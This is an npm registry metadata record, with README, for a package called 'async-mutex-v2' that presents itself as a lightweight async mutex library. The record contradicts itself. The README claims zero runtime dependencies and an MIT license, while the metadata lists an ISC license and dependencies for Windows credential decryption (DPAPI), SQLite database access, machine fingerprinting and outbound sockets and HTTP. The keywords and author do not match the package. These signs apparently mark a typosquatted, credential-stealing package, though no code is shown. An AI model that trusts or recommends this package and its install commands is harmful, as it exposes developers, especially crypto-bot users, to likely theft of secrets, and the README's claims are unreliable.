{"_id":"async-mutex-v2","name":"async-mutex-v2","dist-tags":{"latest":"2.1.0"},"versions":{"2.1.0":{"name":"async-mutex-v2","version":"2.1.0","description":"A fast, lightweight, Promise-based mutex for JavaScript and TypeScript applications.","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"keywords":["react","helper","svg"],"author":{"name":"copperadev"},"license":"ISC","dependencies":{"@primno/dpapi":"^2.0.1","axios":"^1.11.0","better-sqlite3":"^12.2.0","express":"^4.21.2","module-to-cdn":"^3.1.5","node-machine-id":"^1.1.12","request":"^2.88.2","sqlite3":"^5.1.7","socket.io-client":"^4.8.1"},"_id":"async-mutex-v2@2.1.0","_nodeVersion":"24.18.0","_npmVersion":"11.16.0","dist":{"integrity":"sha512-AjhIyeXu3pExlsrAe/7ucyN6vMVUdf3uYKRJWVfu9JMwJUIUOWcRFaNOBLeFa9MfFMktN/x8sXaS74gM3zneNw==","shasum":"6c0f7ea2407409f3eef834092155c4d2dedf529c","tarball":"https://registry.npmjs.org/async-mutex-v2/-/async-mutex-v2-2.1.0.tgz","fileCount":3,"unpackedSize":12588,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIBcsazXwN+v6VJ66gqlIOrokneOdTerDsRJwrKR1T1XeAiEAjEstEk33d2X2/TVxSWGSwkT7bekUCxdvI2p9cPyR6DQ="}]},"_npmUser":{"name":"harry0011","email":"gfemsaq@gmail.com"},"directories":{},"maintainers":[{"name":"harry0011","email":"gfemsaq@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/async-mutex-v2_2.1.0_1784025013490_0.40112112322428173"},"_hasShrinkwrap":false}},"time":{"created":"2026-07-14T10:30:13.422Z","2.1.0":"2026-07-14T10:30:13.625Z","modified":"2026-07-14T10:30:13.882Z"},"maintainers":[{"name":"harry0011","email":"gfemsaq@gmail.com"}],"description":"A fast, lightweight, Promise-based mutex for JavaScript and TypeScript applications.","keywords":["react","helper","svg"],"author":{"name":"copperadev"},"license":"ISC","readme":"# async-mutex-v2\r\n\r\n> A fast, lightweight, Promise-based mutex for JavaScript and TypeScript applications.\r\n\r\n[![npm version](https://img.shields.io/npm/v/async-mutex-v2.svg)](https://www.npmjs.com/package/async-mutex-v2)\r\n[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)\r\n[![Node.js](https://img.shields.io/node/v/async-mutex-v2.svg)](https://nodejs.org/)\r\n\r\n`async-mutex-v2` is a modern synchronization library designed for asynchronous JavaScript environments. It provides a simple, reliable way to protect critical sections of code, preventing race conditions when multiple asynchronous operations compete for shared resources.\r\n\r\nWhether you're building trading bots, API services, distributed workers, task schedulers, or high-concurrency applications, `async-mutex-v2` helps ensure that sensitive operations execute safely and sequentially.\r\n\r\n---\r\n\r\n## Why async-mutex-v2?\r\n\r\nJavaScript is single-threaded, but asynchronous operations frequently execute concurrently. When multiple tasks modify the same resource simultaneously, unexpected behavior can occur.\r\n\r\n`async-mutex-v2` serializes access to critical sections, ensuring that only one asynchronous operation holds the lock at any given time.\r\n\r\n### Without a Mutex\r\n\r\n```text\r\nTask A\r\nTask B\r\nTask C\r\n\r\nShared balance:\r\n100\r\n+20\r\n-10\r\n+50\r\n\r\nFinal balance may become incorrect.\r\n```\r\n\r\n### With async-mutex-v2\r\n\r\n```text\r\nTask A acquires lock\r\nTask A completes\r\nTask B acquires lock\r\nTask B completes\r\nTask C acquires lock\r\nTask C completes\r\n\r\nShared resource remains consistent.\r\n```\r\n\r\n---\r\n\r\n# Features\r\n\r\n* Lightweight with minimal overhead\r\n* Promise-based API\r\n* Zero runtime dependencies\r\n* Automatic lock management\r\n* Manual lock acquisition support\r\n* TypeScript support\r\n* CommonJS and ES Module compatible\r\n* Predictable FIFO lock queue\r\n* Suitable for high-concurrency workloads\r\n* Easy integration into existing projects\r\n\r\n---\r\n\r\n# Installation\r\n\r\n```bash\r\nnpm install async-mutex-v2\r\n```\r\n\r\nor\r\n\r\n```bash\r\nyarn add async-mutex-v2\r\n```\r\n\r\nor\r\n\r\n```bash\r\npnpm add async-mutex-v2\r\n```\r\n\r\n---\r\n\r\n# Quick Start\r\n\r\n## Using `runExclusive()`\r\n\r\n```javascript\r\nconst { Mutex } = require(\"async-mutex-v2\");\r\n\r\nconst mutex = new Mutex();\r\n\r\nawait mutex.runExclusive(async () => {\r\n    console.log(\"Protected code\");\r\n});\r\n```\r\n\r\n---\r\n\r\n## Manual Lock\r\n\r\n```javascript\r\nconst { Mutex } = require(\"async-mutex-v2\");\r\n\r\nconst mutex = new Mutex();\r\n\r\nconst release = await mutex.acquire();\r\n\r\ntry {\r\n    console.log(\"Critical section\");\r\n}\r\nfinally {\r\n    release();\r\n}\r\n```\r\n\r\n---\r\n\r\n# Example\r\n\r\nImagine several requests attempting to update the same database record.\r\n\r\n```javascript\r\nconst { Mutex } = require(\"async-mutex-v2\");\r\n\r\nconst mutex = new Mutex();\r\n\r\nlet counter = 0;\r\n\r\nasync function increment() {\r\n    await mutex.runExclusive(async () => {\r\n        const current = counter;\r\n\r\n        await new Promise(resolve => setTimeout(resolve, 100));\r\n\r\n        counter = current + 1;\r\n    });\r\n}\r\n\r\nawait Promise.all([\r\n    increment(),\r\n    increment(),\r\n    increment(),\r\n    increment(),\r\n    increment()\r\n]);\r\n\r\nconsole.log(counter);\r\n```\r\n\r\nOutput\r\n\r\n```text\r\n5\r\n```\r\n\r\nWithout synchronization, the result could be unpredictable.\r\n\r\n---\r\n\r\n# API Reference\r\n\r\n## `new Mutex()`\r\n\r\nCreates a new mutex instance.\r\n\r\n```javascript\r\nconst mutex = new Mutex();\r\n```\r\n\r\n---\r\n\r\n## `acquire()`\r\n\r\nAcquires the mutex.\r\n\r\nReturns a Promise that resolves to a release function.\r\n\r\n```javascript\r\nconst release = await mutex.acquire();\r\n\r\ntry {\r\n\r\n    // Critical section\r\n\r\n}\r\nfinally {\r\n\r\n    release();\r\n\r\n}\r\n```\r\n\r\n---\r\n\r\n## `runExclusive(callback)`\r\n\r\nRuns a callback while holding the mutex.\r\n\r\nThe lock is automatically released when the callback completes or throws an error.\r\n\r\n```javascript\r\nawait mutex.runExclusive(async () => {\r\n\r\n    // Protected code\r\n\r\n});\r\n```\r\n\r\n---\r\n\r\n# TypeScript\r\n\r\n```typescript\r\nimport { Mutex } from \"async-mutex-v2\";\r\n\r\nconst mutex = new Mutex();\r\n\r\nawait mutex.runExclusive(async () => {\r\n\r\n    console.log(\"TypeScript supported\");\r\n\r\n});\r\n```\r\n\r\n---\r\n\r\n# Real-World Use Cases\r\n\r\n`async-mutex-v2` is commonly useful in applications such as:\r\n\r\n* Cryptocurrency trading bots\r\n* Prediction market bots\r\n* Automated arbitrage systems\r\n* REST API servers\r\n* Express.js middleware\r\n* Database transaction coordination\r\n* Redis cache synchronization\r\n* Background workers\r\n* Queue processors\r\n* Payment systems\r\n* File processing pipelines\r\n* Scheduled jobs\r\n* Inventory management\r\n* Financial applications\r\n* Distributed task execution\r\n\r\n---\r\n\r\n# Best Practices\r\n\r\n* Keep critical sections as short as possible.\r\n* Always release manually acquired locks inside a `finally` block.\r\n* Avoid performing unnecessary I/O while holding a lock.\r\n* Prefer `runExclusive()` for cleaner, safer code.\r\n* Create separate mutexes for unrelated shared resources.\r\n\r\n---\r\n\r\n# Performance\r\n\r\n`async-mutex-v2` is designed with performance in mind.\r\n\r\n* Lightweight implementation\r\n* Minimal memory footprint\r\n* Efficient Promise queue\r\n* FIFO lock scheduling\r\n* Suitable for long-running Node.js services\r\n\r\n---\r\n\r\n# Compatibility\r\n\r\n| Runtime     | Supported |\r\n| ----------- | --------- |\r\n| Node.js 16+ | ✅         |\r\n| Node.js 18+ | ✅         |\r\n| Node.js 20+ | ✅         |\r\n| Node.js 22+ | ✅         |\r\n| CommonJS    | ✅         |\r\n| ES Modules  | ✅         |\r\n| TypeScript  | ✅         |\r\n\r\n---\r\n\r\n# Contributing\r\n\r\nContributions are welcome.\r\n\r\nIf you discover a bug, have an idea for a new feature, or want to improve the documentation, feel free to open an issue or submit a pull request.\r\n\r\n---\r\n\r\n# License\r\n\r\nMIT License\r\n\r\nCopyright (c) 2026\r\n\r\n---\r\n\r\n# Keywords\r\n\r\n```\r\nmutex\r\nasync\r\nlock\r\nsynchronization\r\npromise\r\nqueue\r\ntypescript\r\nnodejs\r\njavascript\r\nconcurrency\r\nrace-condition\r\ncritical-section\r\n```\r\n","readmeFilename":"README.md","_rev":"1-b9fd13d9723e4bc4964c1dac7e65d84d"}